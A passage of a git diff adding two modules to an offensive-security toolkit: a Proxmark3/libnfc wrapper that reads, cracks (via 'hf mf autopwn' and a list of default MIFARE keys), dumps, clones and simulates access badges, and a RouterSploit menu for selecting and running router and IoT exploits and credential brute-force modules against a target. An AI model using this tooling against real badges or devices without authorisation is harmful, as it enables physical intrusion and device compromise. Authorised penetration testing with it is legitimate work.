/ 'data') + + +# ── Card Types ─────────────────────────────────────────────────────────────── + +CARD_TYPES = { + 'em410x': {'name': 'EM410x', 'frequency': '125 kHz', 'category': 'LF'}, + 'hid_prox': {'name': 'HID ProxCard', 'frequency': '125 kHz', 'category': 'LF'}, + 't5577': {'name': 'T5577', 'frequency': '125 kHz', 'category': 'LF', 'writable': True}, + 'mifare_classic_1k': {'name': 'MIFARE Classic 1K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_classic_4k': {'name': 'MIFARE Classic 4K', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_ultralight': {'name': 'MIFARE Ultralight', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'mifare_desfire': {'name': 'MIFARE DESFire', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'ntag213': {'name': 'NTAG213', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag215': {'name': 'NTAG215', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'ntag216': {'name': 'NTAG216', 'frequency': '13.56 MHz', 'category': 'HF', 'nfc': True}, + 'iclass': {'name': 'iCLASS', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso14443a': {'name': 'ISO 14443A', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'iso15693': {'name': 'ISO 15693', 'frequency': '13.56 MHz', 'category': 'HF'}, + 'legic': {'name': 'LEGIC', 'frequency': '13.56 MHz', 'category': 'HF'}, +} + +MIFARE_DEFAULT_KEYS = [ + 'FFFFFFFFFFFF', 'A0A1A2A3A4A5', 'D3F7D3F7D3F7', + '000000000000', 'B0B1B2B3B4B5', '4D3A99C351DD', + '1A982C7E459A', 'AABBCCDDEEFF', '714C5C886E97', + '587EE5F9350F', 'A0478CC39091', '533CB6C723F6', +] + + +# ── RFID Manager ───────────────────────────────────────────────────────────── + +class RFIDManager: + """RFID/NFC tool management via Proxmark3 and nfc-tools.""" + + def __init__(self): + self.data_dir = os.path.join(get_data_dir(), 'rfid') + os.makedirs(self.data_dir, exist_ok=True) + self.dumps_dir = os.path.join(self.data_dir, 'dumps') + os.makedirs(self.dumps_dir, exist_ok=True) + + # Tool discovery + self.pm3_client = find_tool('pm3') or find_tool('proxmark3') or shutil.which('pm3') or shutil.which('proxmark3') + self.nfc_list = shutil.which('nfc-list') + self.nfc_poll = shutil.which('nfc-poll') + self.nfc_mfclassic = shutil.which('nfc-mfclassic') + + self.cards: List[Dict] = [] + self.last_read: Optional[Dict] = None + + def get_tools_status(self) -> Dict: + """Check available tools.""" + return { + 'proxmark3': self.pm3_client is not None, + 'nfc-list': self.nfc_list is not None, + 'nfc-mfclassic': self.nfc_mfclassic is not None, + 'card_types': len(CARD_TYPES), + 'saved_cards': len(self.cards) + } + + # ── Proxmark3 Commands ─────────────────────────────────────────────── + + def _pm3_cmd(self, command: str, timeout: int = 15) -> Dict: + """Execute Proxmark3 command.""" + if not self.pm3_client: + return {'ok': False, 'error': 'Proxmark3 client not found'} + + try: + result = subprocess.run( + [self.pm3_client, '-c', command], + capture_output=True, text=True, timeout=timeout + ) + return { + 'ok': result.returncode == 0, + 'stdout': result.stdout, + 'stderr': result.stderr + } + except subprocess.TimeoutExpired: + return {'ok': False, 'error': f'Command timed out: {command}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Low Frequency (125 kHz) ────────────────────────────────────────── + + def lf_search(self) -> Dict: + """Search for LF (125 kHz) cards.""" + result = self._pm3_cmd('lf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '125 kHz', 'category': 'LF'} + + # Parse EM410x + em_match = re.search(r'EM\s*410x.*?ID[:\s]*([A-Fa-f0-9]+)', output, re.I) + if em_match: + card['type'] = 'em410x' + card['id'] = em_match.group(1) + card['name'] = 'EM410x' + + # Parse HID + hid_match = re.search(r'HID.*?Card.*?([A-Fa-f0-9]+)', output, re.I) + if hid_match: + card['type'] = 'hid_prox' + card['id'] = hid_match.group(1) + card['name'] = 'HID ProxCard' + + if 'id' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No LF card found', 'raw': output} + + def lf_read_em410x(self) -> Dict: + """Read EM410x card.""" + result = self._pm3_cmd('lf em 410x reader') + if not result['ok']: + return result + + match = re.search(r'EM\s*410x\s+ID[:\s]*([A-Fa-f0-9]+)', result['stdout'], re.I) + if match: + card = { + 'type': 'em410x', 'id': match.group(1), + 'name': 'EM410x', 'frequency': '125 kHz' + } + self.last_read = card + return {'ok': True, 'card': card} + return {'ok': False, 'error': 'Could not read EM410x', 'raw': result['stdout']} + + def lf_clone_em410x(self, card_id: str) -> Dict: + """Clone EM410x ID to T5577 card.""" + result = self._pm3_cmd(f'lf em 410x clone --id {card_id}') + return { + 'ok': 'written' in result.get('stdout', '').lower() or result['ok'], + 'message': f'Cloned EM410x ID {card_id}' if result['ok'] else result.get('error', ''), + 'raw': result.get('stdout', '') + } + + def lf_sim_em410x(self, card_id: str) -> Dict: + """Simulate EM410x card.""" + result = self._pm3_cmd(f'lf em 410x sim --id {card_id}', timeout=30) + return { + 'ok': result['ok'], + 'message': f'Simulating EM410x ID {card_id}', + 'raw': result.get('stdout', '') + } + + # ── High Frequency (13.56 MHz) ─────────────────────────────────────── + + def hf_search(self) -> Dict: + """Search for HF (13.56 MHz) cards.""" + result = self._pm3_cmd('hf search') + if not result['ok']: + return result + + output = result['stdout'] + card = {'frequency': '13.56 MHz', 'category': 'HF'} + + # Parse UID + uid_match = re.search(r'UID[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if uid_match: + card['uid'] = uid_match.group(1).replace(' ', '').strip() + + # Parse ATQA/SAK + atqa_match = re.search(r'ATQA[:\s]*([A-Fa-f0-9\s]+)', output, re.I) + if atqa_match: + card['atqa'] = atqa_match.group(1).strip() + sak_match = re.search(r'SAK[:\s]*([A-Fa-f0-9]+)', output, re.I) + if sak_match: + card['sak'] = sak_match.group(1).strip() + + # Detect type + if 'mifare classic 1k' in output.lower(): + card['type'] = 'mifare_classic_1k' + card['name'] = 'MIFARE Classic 1K' + elif 'mifare classic 4k' in output.lower(): + card['type'] = 'mifare_classic_4k' + card['name'] = 'MIFARE Classic 4K' + elif 'ultralight' in output.lower() or 'ntag' in output.lower(): + card['type'] = 'mifare_ultralight' + card['name'] = 'MIFARE Ultralight/NTAG' + elif 'desfire' in output.lower(): + card['type'] = 'mifare_desfire' + card['name'] = 'MIFARE DESFire' + elif 'iso14443' in output.lower(): + card['type'] = 'iso14443a' + card['name'] = 'ISO 14443A' + + if 'uid' in card: + card['raw_output'] = output + self.last_read = card + return {'ok': True, 'card': card} + + return {'ok': False, 'error': 'No HF card found', 'raw': output} + + def hf_dump_mifare(self, keys_file: str = None) -> Dict: + """Dump MIFARE Classic card data.""" + cmd = 'hf mf autopwn' + if keys_file: + cmd += f' -f {keys_file}' + + result = self._pm3_cmd(cmd, timeout=120) + if not result['ok']: + return result + + output = result['stdout'] + + # Look for dump file + dump_match = re.search(r'saved.*?(\S+\.bin)', output, re.I) + if dump_match: + dump_file = dump_match.group(1) + # Copy to our dumps directory + dest = os.path.join(self.dumps_dir, Path(dump_file).name) + if os.path.exists(dump_file): + shutil.copy2(dump_file, dest) + + return { + 'ok': True, + 'dump_file': dest, + 'message': 'MIFARE dump complete', + 'raw': output + } + + # Check for found keys + keys = re.findall(r'key\s*[AB][:\s]*([A-Fa-f0-9]{12})', output, re.I) + if keys: + return { + 'ok': True, + 'keys_found': list(set(keys)), + 'message': f'Found {len(set(keys))} keys', + 'raw': output + } + + return {'ok': False, 'error': 'Dump failed', 'raw': output} + + def hf_clone_mifare(self, dump_file: str) -> Dict: + """Write MIFARE dump to blank card.""" + result = self._pm3_cmd(f'hf mf restore -f {dump_file}', timeout=60) + return { + 'ok': 'restored' in result.get('stdout', '').lower() or result['ok'], + 'message': 'Card cloned' if result['ok'] else 'Clone failed', + 'raw': result.get('stdout', '') + } + + # ── NFC Operations (via libnfc) ────────────────────────────────────── + + def nfc_scan(self) -> Dict: + """Scan for NFC tags using libnfc.""" + if not self.nfc_list: + return {'ok': False, 'error': 'nfc-list not found (install libnfc)'} + + try: + result = subprocess.run( + [self.nfc_list], capture_output=True, text=True, timeout=10 + ) + tags = [] + for line in result.stdout.splitlines(): + uid_match = re.search(r'UID.*?:\s*([A-Fa-f0-9\s:]+)', line, re.I) + if uid_match: + tags.append({ + 'uid': uid_match.group(1).replace(' ', '').replace(':', ''), + 'raw': line.strip() + }) + return {'ok': True, 'tags': tags, 'count': len(tags)} + except Exception as e: + return {'ok': False, 'error': str(e)} + + # ── Card Database ──────────────────────────────────────────────────── + + def save_card(self, card: Dict, name: str = None) -> Dict: + """Save card data to database.""" + card['saved_at'] = datetime.now(timezone.utc).isoformat() + card['display_name'] = name or card.get('name', 'Unknown Card') + # Remove raw output to save space + card.pop('raw_output', None) + self.cards.append(card) + self._save_cards() + return {'ok': True, 'count': len(self.cards)} + + def get_saved_cards(self) -> List[Dict]: + """List saved cards.""" + return self.cards + + def delete_card(self, index: int) -> Dict: + """Delete saved card by index.""" + if 0 <= index < len(self.cards): + self.cards.pop(index) + self._save_cards() + return {'ok': True} + return {'ok': False, 'error': 'Invalid index'} + + def _save_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + with open(cards_file, 'w') as f: + json.dump(self.cards, f, indent=2) + + def _load_cards(self): + cards_file = os.path.join(self.data_dir, 'cards.json') + if os.path.exists(cards_file): + try: + with open(cards_file) as f: + self.cards = json.load(f) + except Exception: + pass + + def list_dumps(self) -> List[Dict]: + """List saved card dumps.""" + dumps = [] + for f in Path(self.dumps_dir).iterdir(): + if f.is_file(): + dumps.append({ + 'name': f.name, 'path': str(f), + 'size': f.stat().st_size, + 'modified': datetime.fromtimestamp(f.stat().st_mtime, timezone.utc).isoformat() + }) + return dumps + + def get_default_keys(self) -> List[str]: + """Return common MIFARE default keys.""" + return MIFARE_DEFAULT_KEYS + + def get_card_types(self) -> Dict: + """Return supported card type info.""" + return CARD_TYPES + + +# ── Singleton ──────────────────────────────────────────────────────────────── + +_instance = None + +def get_rfid_manager() -> RFIDManager: + global _instance + if _instance is None: + _instance = RFIDManager() + _instance._load_cards() + return _instance + + +# ── CLI Interface ──────────────────────────────────────────────────────────── + +def run(): + """CLI entry point for RFID/NFC module.""" + mgr = get_rfid_manager() + + while True: + tools = mgr.get_tools_status() + print(f"\n{'='*60}") + print(f" RFID / NFC Tools") + print(f"{'='*60}") + print(f" Proxmark3: {'OK' if tools['proxmark3'] else 'NOT FOUND'}") + print(f" libnfc: {'OK' if tools['nfc-list'] else 'NOT FOUND'}") + print(f" Saved cards: {tools['saved_cards']}") + print() + print(" 1 — LF Search (125 kHz)") + print(" 2 — HF Search (13.56 MHz)") + print(" 3 — Read EM410x") + print(" 4 — Clone EM410x to T5577") + print(" 5 — Dump MIFARE Classic") + print(" 6 — Clone MIFARE from Dump") + print(" 7 — NFC Scan (libnfc)") + print(" 8 — Saved Cards") + print(" 9 — Card Dumps") + print(" 0 — Back") + print() + + choice = input(" > ").strip() + + if choice == '0': + break + elif choice == '1': + result = mgr.lf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} ID: {c.get('id', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '2': + result = mgr.hf_search() + if result['ok']: + c = result['card'] + print(f" Found: {c.get('name', '?')} UID: {c.get('uid', '?')}") + else: + print(f" {result.get('error', 'No card found')}") + elif choice == '3': + result = mgr.lf_read_em410x() + if result['ok']: + print(f" EM410x ID: {result['card']['id']}") + save = input(" Save card? (y/n): ").strip() + if save.lower() == 'y': + mgr.save_card(result['card']) + else: + print(f" {result['error']}") + elif choice == '4': + card_id = input(" EM410x ID to clone: ").strip() + if card_id: + result = mgr.lf_clone_em410x(card_id) + print(f" {result.get('message', result.get('error'))}") + elif choice == '5': + result = mgr.hf_dump_mifare() + if result['ok']: + print(f" {result['message']}") + if 'keys_found' in result: + for k in result['keys_found']: + print(f" Key: {k}") + else: + print(f" {result['error']}") + elif choice == '6': + dump = input(" Dump file path: ").strip() + if dump: + result = mgr.hf_clone_mifare(dump) + print(f" {result['message']}") + elif choice == '7': + result = mgr.nfc_scan() + if result['ok']: + print(f" Found {result['count']} tags:") + for t in result['tags']: + print(f" UID: {t['uid']}") + else: + print(f" {result['error']}") + elif choice == '8': + cards = mgr.get_saved_cards() + for i, c in enumerate(cards): + print(f" [{i}] {c.get('display_name', '?')} " + f"{c.get('type', '?')} ID={c.get('id', c.get('uid', '?'))}") + elif choice == '9': + for d in mgr.list_dumps(): + print(f" {d['name']} ({d['size']} bytes)") diff --git a/modules/rsf.py b/modules/rsf.py new file mode 100644 index 0000000..5750751 --- /dev/null +++ b/modules/rsf.py @@ -0,0 +1,1031 @@ +""" +AUTARCH RouterSploit Module +Interface for RouterSploit Framework with module browser. + +Provides easy access to RSF modules for IoT/embedded device testing. +Uses the RSF interface from core/rsf_interface.py. +Integrates with rsf_terms.py and rsf_modules.py for descriptions. +""" + +import sys +import socket +from pathlib import Path +from typing import Optional + +# Module metadata +DESCRIPTION = "RouterSploit Framework interface" +AUTHOR = "darkHal" +VERSION = "1.0" +CATEGORY = "offense" + +# Add parent directory to path +sys.path.insert(0, str(Path(__file__).parent.parent)) + +from core.rsf_interface import get_rsf_interface, RSFStatus +from core.rsf import get_rsf_manager, RSFError +from core.banner import Colors, clear_screen, display_banner +from core.rsf_terms import ( + get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value +) +from core.rsf_modules import ( + get_module_info as get_library_module_info, + search_modules as library_search_modules, + get_modules_by_type as library_get_modules_by_type, + format_module_help, + MODULE_TYPES, +) + + +class RSFMenu: + """RouterSploit menu interface with module browser.""" + + # Module categories for browsing + MODULE_CATEGORIES = { + 'exploits': { + 'name': 'Exploits', + 'description': 'Vulnerability exploits for routers, cameras, devices', + 'color': Colors.RED, + }, + 'creds': { + 'name': 'Credentials', + 'description': 'Default credential and brute-force modules', + 'color': Colors.YELLOW, + }, + 'scanners': { + 'name': 'Scanners', + 'description': 'Automated vulnerability scanners', + 'color': Colors.CYAN, + }, + 'payloads': { + 'name': 'Payloads', + 'description': 'Shellcode and payload generators', + 'color': Colors.MAGENTA, + }, + 'encoders': { + 'name': 'Encoders', + 'description': 'Payload encoding and obfuscation', + 'color': Colors.GREEN, + }, + } + + def __init__(self): + self.rsf = get_rsf_interface() + self.rsf_manager = get_rsf_manager() + self.current_module = None # module path + self.current_instance = None # loaded module instance + self.current_info = None # RSFModuleInfo + + # Global target settings + self.global_settings = { + 'target': '', + 'port': '', + 'ssl': 'false', + } + + def print_status(self, message: str, status: str = "info"): + """Print a status message.""" + colors = {"info": Colors.CYAN, "success": Colors.GREEN, + "warning": Colors.YELLOW, "error": Colors.RED} + symbols = {"info": "*", "success": "+", "warning": "!", "error": "X"} + print(f"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}") + + def wrap_text(self, text: str, width: int = 60, indent: str = " ") -> str: + """Word-wrap text with indent.""" + words = text.split() + lines = [] + current_line = "" + for word in words: + if len(current_line) + len(word) + 1 <= width: + current_line += (" " if current_line else "") + word + else: + if current_line: + lines.append(current_line) + current_line = word + if current_line: + lines.append(current_line) + return f"\n{indent}".join(lines) + + def resolve_hostname(self, hostname: str) -> Optional[str]: + """Resolve hostname to IP address.""" + try: + socket.inet_aton(hostname) + return hostname + except socket.error: + pass + try: + return socket.gethostbyname(hostname) + except socket.gaierror: + return None + + # ========================================================================= + # MAIN MENU + # ========================================================================= + + def show_main_menu(self): + """Display RSF main menu.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} RouterSploit Framework{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + + # Status + if self.rsf.is_available: + count = self.rsf.module_count + print(f" {Colors.GREEN}Status: Available ({count} modules){Colors.RESET}") + else: + print(f" {Colors.YELLOW}Status: Not Available{Colors.RESET}") + print(f" {Colors.DIM}Check install path in Settings > RouterSploit{Colors.RESET}") + + # Show current settings + if self.global_settings['target']: + print(f" {Colors.CYAN}Target:{Colors.RESET} {self.global_settings['target']}") + if self.global_settings['port']: + print(f" {Colors.CYAN}Port:{Colors.RESET} {self.global_settings['port']}") + + # Current module + if self.current_module: + print(f" {Colors.YELLOW}Module:{Colors.RESET} {self.current_module}") + + print() + print(f" {Colors.RED}[1]{Colors.RESET} Set Target {Colors.DIM}- Configure target device{Colors.RESET}") + print(f" {Colors.RED}[2]{Colors.RESET} Module Browser {Colors.DIM}- Browse by category{Colors.RESET}") + print(f" {Colors.RED}[3]{Colors.RESET} Search Modules {Colors.DIM}- Search all modules{Colors.RESET}") + print() + print(f" {Colors.RED}[4]{Colors.RESET} Current Module {Colors.DIM}- View/configure selected module{Colors.RESET}") + print(f" {Colors.RED}[5]{Colors.RESET} Check Target {Colors.DIM}- Vulnerability check (safe){Colors.RESET}") + print(f" {Colors.RED}[6]{Colors.RESET} Run Module {Colors.DIM}- Execute current module{Colors.RESET}") + print() + print(f" {Colors.RED}[7]{Colors.RESET} Quick Scan {Colors.DIM}- AutoPwn & common scanners{Colors.RESET}") + print(f" {Colors.RED}[8]{Colors.RESET} Credential Check {Colors.DIM}- Default credential scanning{Colors.RESET}") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back to Main Menu") + print() + + # ========================================================================= + # TARGET SETTINGS + # ========================================================================= + + def show_target_settings(self): + """Configure target device settings.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Target Configuration{Colors.RESET}") + print(f"{Colors.DIM} Configure the target device for RSF modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + target_val = self.global_settings['target'] or f"{Colors.YELLOW}(not set){Colors.RESET}" + port_val = self.global_settings['port'] or f"{Colors.DIM}(module default){Colors.RESET}" + ssl_val = self.global_settings['ssl'] + + print(f" {Colors.RED}[1]{Colors.RESET} Target = {target_val}") + target_info = get_setting_info('target') + if target_info: + print(f" {Colors.DIM}{self.wrap_text(target_info['description'])}{Colors.RESET}") + print() + print(f" {Colors.RED}[2]{Colors.RESET} Port = {port_val}") + print(f" {Colors.DIM}Override module default port{Colors.RESET}") + print() + print(f" {Colors.RED}[3]{Colors.RESET} SSL = {ssl_val}") + print(f" {Colors.DIM}Enable SSL/TLS for connections{Colors.RESET}") + print() + print(f" {Colors.GREEN}[R]{Colors.RESET} Resolve hostname to IP") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == '1': + self._set_target() + elif choice == '2': + self._set_port() + elif choice == '3': + self._toggle_ssl() + elif choice == 'r': + self._resolve_hostname() + + except (EOFError, KeyboardInterrupt): + break + + def _set_target(self): + """Set target IP/hostname.""" + print() + print(format_setting_help('target')) + print() + + current = self.global_settings['target'] + prompt = f"Target [{current}]: " if current else "Target: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value and current: + return + + if value: + # Hostname resolution + if not any(c.isdigit() for c in value.split('/')[0].split('-')[0]): + print(f"{Colors.CYAN}[*] Resolving {value}...{Colors.RESET}") + ip = self.resolve_hostname(value) + if ip: + print(f"{Colors.GREEN}[+] Resolved to {ip}{Colors.RESET}") + use_ip = input(f"{Colors.WHITE}Use resolved IP? (y/n) [y]: {Colors.RESET}").strip().lower() + if use_ip != 'n': + value = ip + else: + print(f"{Colors.YELLOW}[!] Could not resolve hostname{Colors.RESET}") + + self.global_settings['target'] = value + self.print_status(f"target => {value}", "success") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _set_port(self): + """Set port override.""" + print() + print(format_setting_help('port')) + print() + + current = self.global_settings['port'] + prompt = f"Port [{current or 'module default'}]: " + value = input(f"{Colors.WHITE}{prompt}{Colors.RESET}").strip() + + if not value: + return + + if value == 'clear' or value == 'reset': + self.global_settings['port'] = '' + self.print_status("Port reset to module default", "success") + else: + valid, msg = validate_setting_value('port', value) + if valid: + self.global_settings['port'] = value + self.print_status(f"port => {value}", "success") + else: + self.print_status(msg, "warning") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _toggle_ssl(self): + """Toggle SSL setting.""" + current = self.global_settings['ssl'] + new_val = 'false' if current == 'true' else 'true' + self.global_settings['ssl'] = new_val + self.print_status(f"ssl => {new_val}", "success") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + def _resolve_hostname(self): + """Resolve a hostname to IP.""" + print() + hostname = input(f"{Colors.WHITE}Hostname to resolve: {Colors.RESET}").strip() + if hostname: + print(f"{Colors.CYAN}[*] Resolving {hostname}...{Colors.RESET}") + ip = self.resolve_hostname(hostname) + if ip: + print(f"{Colors.GREEN}[+] {hostname} => {ip}{Colors.RESET}") + use_it = input(f"{Colors.WHITE}Set as target? (y/n) [y]: {Colors.RESET}").strip().lower() + if use_it != 'n': + self.global_settings['target'] = ip + self.print_status(f"target => {ip}", "success") + else: + self.print_status(f"Could not resolve '{hostname}'", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # MODULE BROWSER + # ========================================================================= + + def show_module_browser(self): + """Browse modules by category.""" + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Browser{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + cats = list(self.MODULE_CATEGORIES.items()) + for i, (key, cat) in enumerate(cats, 1): + # Get count + try: + count = len(self.rsf.list_modules(key)) + except Exception: + count = 0 + print(f" {cat['color']}[{i}]{Colors.RESET} {cat['name']:<15} " + f"{Colors.DIM}({count} modules) - {cat['description']}{Colors.RESET}") + + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == '0' or not choice: + break + + try: + idx = int(choice) - 1 + if 0 <= idx < len(cats): + category_key = cats[idx][0] + self._browse_category(category_key) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _browse_category(self, category: str): + """Browse modules within a category, with subcategory grouping.""" + cat_info = self.MODULE_CATEGORIES.get(category, {}) + + try: + modules = self.rsf.list_modules(category) + except Exception as e: + self.print_status(f"Error listing modules: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + if not modules: + self.print_status(f"No modules found in '{category}'", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + # Group by subcategory (e.g., exploits/routers/dlink -> routers/dlink) + subcats = {} + for mod_path in modules: + parts = mod_path.split('/') + if len(parts) >= 3: + subcat = parts[1] # routers, cameras, generic, etc. + elif len(parts) >= 2: + subcat = parts[1] + else: + subcat = 'other' + if subcat not in subcats: + subcats[subcat] = [] + subcats[subcat].append(mod_path) + + # Show subcategory menu + while True: + clear_screen() + display_banner() + + print(f"{cat_info.get('color', Colors.WHITE)}{Colors.BOLD} {cat_info.get('name', category)}{Colors.RESET}") + print(f"{Colors.DIM} {len(modules)} modules total{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + subcat_list = sorted(subcats.keys()) + for i, subcat in enumerate(subcat_list, 1): + count = len(subcats[subcat]) + print(f" {cat_info.get('color', Colors.WHITE)}[{i}]{Colors.RESET} " + f"{subcat:<20} {Colors.DIM}({count} modules){Colors.RESET}") + + print() + print(f" {Colors.GREEN}[A]{Colors.RESET} Show all {len(modules)} modules") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'a': + self._paginated_module_list(modules, f"All {category}") + else: + try: + idx = int(choice) - 1 + if 0 <= idx < len(subcat_list): + subcat_key = subcat_list[idx] + self._paginated_module_list( + subcats[subcat_key], + f"{category}/{subcat_key}" + ) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _paginated_module_list(self, modules: list, title: str): + """Display a paginated list of modules with selection.""" + page_size = 20 + page = 0 + total_pages = max(1, (len(modules) + page_size - 1) // page_size) + + while True: + clear_screen() + display_banner() + + start = page * page_size + end = min(start + page_size, len(modules)) + page_modules = modules[start:end] + + print(f"{Colors.RED}{Colors.BOLD} {title}{Colors.RESET}") + print(f"{Colors.DIM} Page {page + 1}/{total_pages} ({len(modules)} modules){Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Two-column layout + half = (len(page_modules) + 1) // 2 + for i in range(half): + # Left column + idx1 = start + i + mod1 = page_modules[i] + short1 = mod1.split('/')[-1][:25] + left = f" [{idx1 + 1:>3}] {short1:<28}" + + # Right column + right = "" + if i + half < len(page_modules): + idx2 = start + i + half + mod2 = page_modules[i + half] + short2 = mod2.split('/')[-1][:25] + right = f"[{idx2 + 1:>3}] {short2}" + + print(f"{left}{Colors.DIM}{right}{Colors.RESET}") + + print() + + # Navigation + nav_parts = [] + if page > 0: + nav_parts.append(f"[P] Prev") + if page < total_pages - 1: + nav_parts.append(f"[N] Next") + nav_parts.append("[#] Select module by number") + nav_parts.append("[0] Back") + print(f" {Colors.DIM}{' | '.join(nav_parts)}{Colors.RESET}") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + + if choice == '0' or not choice: + break + elif choice == 'n' and page < total_pages - 1: + page += 1 + elif choice == 'p' and page > 0: + page -= 1 + else: + try: + num = int(choice) + if 1 <= num <= len(modules): + selected = modules[num - 1] + self._show_module_details(selected) + except ValueError: + pass + + except (EOFError, KeyboardInterrupt): + break + + def _show_module_details(self, module_path: str): + """Show detailed info about a module and offer to select it.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Module Details{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Try curated library first + curated = get_library_module_info(module_path) + if curated: + print(format_module_help(module_path)) + else: + # Try live introspection + print(f" {Colors.WHITE}Path:{Colors.RESET} {module_path}") + try: + info = self.rsf.get_module_info(module_path) + print(f" {Colors.WHITE}Name:{Colors.RESET} {info.name}") + if info.description: + print(f" {Colors.WHITE}Description:{Colors.RESET}") + print(f" {self.wrap_text(info.description)}") + if info.authors: + print(f" {Colors.WHITE}Authors:{Colors.RESET} {', '.join(info.authors)}") + if info.devices: + print(f" {Colors.WHITE}Devices:{Colors.RESET}") + for dev in info.devices[:10]: + print(f" - {dev}") + if len(info.devices) > 10: + print(f" {Colors.DIM}... and {len(info.devices) - 10} more{Colors.RESET}") + if info.references: + print(f" {Colors.WHITE}References:{Colors.RESET}") + for ref in info.references[:5]: + print(f" {Colors.DIM}{ref}{Colors.RESET}") + except RSFError as e: + print(f" {Colors.YELLOW}Could not load module info: {e}{Colors.RESET}") + + print() + print(f" {Colors.GREEN}[S]{Colors.RESET} Select this module") + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip().lower() + if choice == 's': + self._select_module(module_path) + except (EOFError, KeyboardInterrupt): + pass + + def _select_module(self, module_path: str): + """Load and select a module as the current module.""" + try: + instance, info = self.rsf_manager.load_module(module_path) + self.current_module = module_path + self.current_instance = instance + self.current_info = info + + # Apply global settings + if self.global_settings['target']: + try: + self.rsf_manager.set_module_option(instance, 'target', self.global_settings['target']) + except RSFError: + pass + if self.global_settings['port']: + try: + self.rsf_manager.set_module_option(instance, 'port', self.global_settings['port']) + except RSFError: + pass + + self.print_status(f"Module selected: {module_path}", "success") + except RSFError as e: + self.print_status(f"Failed to load module: {e}", "error") + + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + # ========================================================================= + # SEARCH + # ========================================================================= + + def search_modules(self): + """Search for modules by keyword.""" + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Search Modules{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + try: + query = input(f"{Colors.WHITE} Search: {Colors.RESET}").strip() + if not query: + return + + print(f"\n{Colors.CYAN}[*] Searching for '{query}'...{Colors.RESET}") + + results = self.rsf.search_modules(query) + + if not results: + self.print_status(f"No modules found for '{query}'", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + self.print_status(f"Found {len(results)} modules", "success") + self._paginated_module_list(results, f"Search: {query}") + + except RSFError as e: + self.print_status(f"Search error: {e}", "error") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + except (EOFError, KeyboardInterrupt): + pass + + # ========================================================================= + # CURRENT MODULE + # ========================================================================= + + def show_current_module(self): + """View and configure the current selected module.""" + if not self.current_module or not self.current_instance: + self.print_status("No module selected. Use Module Browser or Search first.", "warning") + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + return + + while True: + clear_screen() + display_banner() + + print(f"{Colors.RED}{Colors.BOLD} Current Module{Colors.RESET}") + print(f"{Colors.YELLOW} {self.current_module}{Colors.RESET}") + if self.current_info: + print(f" {Colors.DIM}{self.current_info.name}{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + + # Show options + options = self.rsf_manager.get_module_options(self.current_instance) + + if options: + # Separate required (non-advanced, non-empty description) and optional + required = [o for o in options if not o.get('advanced', False)] + advanced = [o for o in options if o.get('advanced', False)] + + if required: + print(f" {Colors.BOLD}Options:{Colors.RESET}") + for opt in required: + current = opt.get('current', '') 